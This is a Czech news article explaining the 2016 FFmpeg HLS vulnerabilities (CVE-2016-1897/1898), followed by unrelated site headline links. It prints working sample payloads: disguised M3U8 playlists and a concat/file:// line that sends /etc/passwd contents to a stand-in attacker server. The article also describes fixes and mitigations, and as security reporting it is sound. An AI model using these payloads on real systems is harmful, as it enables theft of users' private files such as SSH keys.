Zranitelný FFmpeg: místo přehrávání videa odesílá soubory

Ondřej Caletka 18. 1. 2016

Ve frameworku FFmpeg, který pohání celou řadu multimediálních přehrávačů a konvertorů včetně webových prohlížečů, byla objevena kuriózní zranitelnost. Otevření speciálně upraveného souboru s videem vyvolá odeslání určeného souboru z disku útočníkovi. Jak přesně útok funguje a jak se bránit?

Projekt FFmpeg představuje univerzální framework pro přehrávání, záznam a streamování multimédií. Jeho funkce pro zakódování a dekódování nejrůznějších audio/video formátů je využívána v drtivé většině multimediálních přehrávačů, jako mpv, MPlayer nebo VLC, stejně jako populárního webového prohlížeče Chromium/Chrome. Samostatně pak disponuje konzolovou utilitou ffmpeg, která je hojně využívána při nejrůznějších automatizovaných konverzích video formátů.

Je zřejmé, že podpora velkého množství vstupních a výstupních formátů spolu s velkým množstvím kodeků vede na ohromné množství kódu (podle OpenHUB jde přibližně o milion řádků) s velkým potenciálem k chybám. Nově popsaný útok, který dostal identifikátory CVE-2016–1897 a CVE-2016–1898, však nevyužívá žádnou hrubou programátorskou chybu. Spíše jde o chytré použití existujících vstupních modulů pro jiný účel, než bylo zamýšleno, tedy hack v původním smyslu slova.

HTTP Live Streaming

Jedním z formátů, které jsou knihovnou FFmpeg podporovány, je protokol HTTP Live Streaming. Tento protokol byl vyvinut společností Apple pro streamování multimediálních dat prostřednictvím internetu. Specifikace protokolu je otevřená a již víc než šest let prochází procesem standardizace v IETF. Vzhledem k tomu, že jde nejspíše o jediný podporovaný formát streamingu na platformě Apple, stal se velmi rychle populární mezi video službami na webu a postupně vytlačuje zejména protokol RTMP používaný technologií Adobe Flash. Dodejme na okraj, že ke stejnému účelu existuje také mezinárodní standard MPEG-DASH, který je již několik let nasazen například na serveru YouTube.

Princip protokolu HLS spočívá v rozdělení přenášeného proudu na samostatné soubory formátu MPEG-TS. Z těchto segmentů je sestaveno několik playlistů formátu M3U8 s různým rozlišením a datovým tokem, které jsou odkazovány z hlavního playlistu. Přehrávač inteligentně stahuje jednotlivé segmenty, přičemž automaticky přechází mezi kvalitami videa podle velikosti okna přehrávače a rychlosti stahování jednotlivých částí. V případě živého vysílání klient stahuje playlisty opakovaně a získává tak odkazy na nové a nové segmenty.

Přípona obvykle nehraje roli

Důležitým faktorem útoku na FFmpeg je fakt, že při otevírání multimediálních souborů se řídí primárně jejich obsahem. Rozpozná-li po načtení prvních několika bajtů například hlavičku kontejneru Matroska, nasadí demultiplexer tohoto formátu bez ohledu na to, zda má soubor příponu mkv nebo třeba avi. Neplatí to ale absolutně; FFmpeg obsahuje například zvláštní režim přehrávání souborů s příponou .txt. Ty jsou převedeny na video, ve kterém se zobrazí obsah textového souboru.

Útok na webové video konvertory

Použitím dosud zmíněných ingrediencí je možné vykonat útok na nejrůznější webové konvertory video formátů, které na pozadí používají FFmpeg. Zajímá vás třeba, jakou IP adresu má server, na kterém konverze probíhá? Vytvořte soubor, třeba s příponou avi, s následujícím obsahem:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://ip-echo.ripe.net/#.txt
#EXT-X-ENDLIST 

Když se takový soubor pokusí FFmpeg přehrát, detekuje HLS playlist a začne přehrávat prezentované odkazy. Protože zde uvedený odkaz končí textem .txt, je obsah odkazu interpretován jako textový soubor a FFMpeg tedy vytvoří video obsahující text vrácený z daného odkazu.

Variací na takový útok je získání obsahu libovolného lokálního souboru, který je uživateli spouštějícímu FFmpeg dostupný. Stačí jen schéma http:// nahradit za file://. Zajímavé je, že takovýto útok na FFmpeg byl už v listopadu 2015 řešením jedné z úloh online šifrovací hry 9447 Security Society CTF.

Jak přehrávačem odeslat data?

Poslední ingrediencí, která proměňuje multimediální knihovnu v nástroj k vykrádání soukromých dat, je vstupní protokol concat . Jeho původním účelem je binární spojení několika vstupních souborů, aby se chovaly jako jeden. Útočník ve zlomyslném video souboru použije například následující odkaz na video:

concat:http://example.com/header.m3u8|file:///etc/passwd 

FFmpeg nejprve spojí obsah obou URL a teprve ten začne přehrávat. První ze souborů pak může obsahovat takovéto záhlaví HLS playlistu:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://example.org? 

Přítomnost otazníku na konci souboru způsobí, že první řádek lokálního souboru /etc/passwd je odeslán jako dotaz na server útočníka. Útočník se nemusí omezovat pouze na první řádek. Pomocí jiného protokolu subfile je možné extrahovat z požadovaného souboru řádek od požadovaného bajtového ofsetu.

Pikantní je, že falešný multimediální soubor, který má vylákat data z klientského zařízení, vůbec nemusí být uživatelem aktivně otevřen. Stačí, když si ho všimne některý z indexovacích robotů, kteří na většině desktopových prostředí pomocí FFmpeg vyrábějí náhledové ikony video souborů.

Co je v ohrožení

Samotný popis zranitelnosti zní poměrně nebezpečně. Útok se týká pouze souborů čitelných uživatelem, který používá FFmpeg, takže v drtivé většině případů jsou systémová data v bezpečí. To by mohla být útěcha pro správně napsané webové služby konverze videa, které proces ffmpeg spouštějí v izolovaném prostředí. Pro běžné uživatele to žádnou útěchu nepředstavuje, jak vtipně před časem glosoval Randal Munroe:

Než cokoliv namítnete, ano, samozřejmě, že vím, že nemám počítač nechávat bez dozoru přihlášený ke všem svým účtům. Mám ho nastavený tak, že se po pár minutách nečinnosti automaticky přihlásí k účtům mého bratra.
Autor: Randal Munroe, překlad: xkcz, podle licence: CC BY-NC 2.5

V ohrožení jsou tak zejména soubory uložené na predikovatelných cestách. Z těch hodnotnějších například osobní SSH klíče, nebo třeba privátní klíče pro Bitcoinové peněženky. Pokud jste tedy nevyměňovali uživatelský SSH klíč po nedávné aféře s roamingem, je teď druhá příležitost.

Oprava je k dispozici

Ačkoli u tohoto bezpečnostního incidentu nedostali vývojáři čas navíc pro publikování opravy, zareagovali velmi rychle. Od soboty jsou k dispozici opravná vydání 2.8.5, 2.7.5, 2.6.7, 2.5.10. Oprava spočívá ve více striktní validaci URL v HLS playlistech (patch 1, 2), takže již například není povoleno použití schématu  file://.

Dočasnou opravu, kterou nasadili vývojáři Arch Linuxu, je zkompilování knihovny s vypnutou podporou pro síť. Taková oprava ovšem zároveň znamená ztrátu použitelnosti spousty utilit, které HLS používají, třeba youtube-dl.

Komplexní software obsahuje komplexní zranitelnosti

Takové je nejspíše poučení z celého incidentu. I při tak běžné činnosti, jakou je přehrávání videa, je třeba počítat s možnými vedlejšími efekty. Tato konkrétní zranitelnost je přitom ještě z těch mírnějších, neboť na rozdíl například od nedávné zranitelnosti knihovny Stagefright na OS Android neumožňuje spuštění útočníkova kódu.

Chyby, jako je tato, se jistě budou opakovat. Dobrou zprávou je, že nejsme zcela bezmocní ve zmírňování následků takových chyb. Má-li váš desktop správně nastaveno povinné řízení přístupu, třeba nástrojem SELinux, nemá multimediální knihovna v ideálním případě přístup k žádným citlivým datům.

120na80.cz: Velký přehled: 7 očkování proti exotickým nemocem

Velký přehled: 7 očkování proti exotickým nemocem

Lupa.cz: Přenos hokeje padal kvůli útoku, tvrdí O2

Přenos hokeje padal kvůli útoku, tvrdí O2

Lupa.cz: Jak EET vidí ajťák aneb Drahá vražda UX

Jak EET vidí ajťák aneb Drahá vražda UX

Root.cz: Zákon o hazardu je v rozporu s ústavou

Zákon o hazardu je v rozporu s ústavou

Vitalia.cz: Vyřízli vám znaménko. Jak se z něj pozná rakovina?

Vyřízli vám znaménko. Jak se z něj pozná rakovina?

DigiZone.cz: Mafra varuje před stíháním za pomluvu

Mafra varuje před stíháním za pomluvu

Vitalia.cz: Proč v Penamu nesypou koblihu moučkovým cukrem

Proč v Penamu nesypou koblihu moučkovým cukrem

Root.cz: Anonymous sejmuli Senat.cz kvůli cenzuře

Anonymous sejmuli Senat.cz kvůli cenzuře

DigiZone.cz: DAB+ versus FM, ČRo a ČRa proti APSV

DAB+ versus FM, ČRo a ČRa proti APSV

Podnikatel.cz: Šizený guláš na pultě. Jako Lidl to nedělejte

Šizený guláš na pultě. Jako Lidl to nedělejte

Vitalia.cz: Kurzy vaření piva

Kurzy vaření piva

DigiZone.cz: ČT neskončí s nízkým rozlišením podle plánu

ČT neskončí s nízkým rozlišením podle plánu

Lupa.cz: Zaplatíme ti, když ti seženeme práci

Zaplatíme ti, když ti seženeme práci

Lupa.cz: Kam si doma dáte internet věcí? Na polici?

Kam si doma dáte internet věcí? Na polici?

Vitalia.cz: Ministerstvo: tyto příbory jsou nebezpečné

Ministerstvo: tyto příbory jsou nebezpečné

Vitalia.cz: Muži kouří 24 cigaret denně, ženy o dost míň

Muži kouří 24 cigaret denně, ženy o dost míň

Podnikatel.cz: Rošáda v živnostech. Týká se vás?

Rošáda v živnostech. Týká se vás?

DigiZone.cz: Konec geoblokace online médií?

Konec geoblokace online médií?

Lupa.cz: Babiš: nevím o návodu, jak obejít blokování webů

Babiš: nevím o návodu, jak obejít blokování webů

Lupa.cz: Válka e-shopů. Alza končí s Heurekou

Válka e-shopů. Alza končí s Heurekou